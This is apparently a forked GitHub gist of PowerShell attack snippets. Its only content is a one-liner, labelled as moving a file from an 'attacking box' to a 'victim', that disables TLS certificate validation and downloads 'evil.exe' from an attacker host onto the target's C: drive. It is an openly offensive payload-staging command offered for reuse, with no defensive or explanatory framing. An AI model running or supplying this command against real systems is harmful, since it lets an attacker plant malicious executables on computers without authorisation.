Skip to content

Instantly share code, notes, and snippets.

@waywardsun
Forked from sckalath/powershell_snippets
Created September 20, 2016 22:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save waywardsun/2c88f1ecee7ddbe9b3df98b15256513e to your computer and use it in GitHub Desktop.
Save waywardsun/2c88f1ecee7ddbe9b3df98b15256513e to your computer and use it in GitHub Desktop.
Powershell Snippets
# Transfer file from attacking box to victim
powershell.exe -noprofile -noninteractive -command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; $source="""http://attackerip/evil.exe"""; $destination="""C:\destination_file.exe"""; $http=new-object System.Net.WebClient; $response=$http.DownloadFile($source,$destination);"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment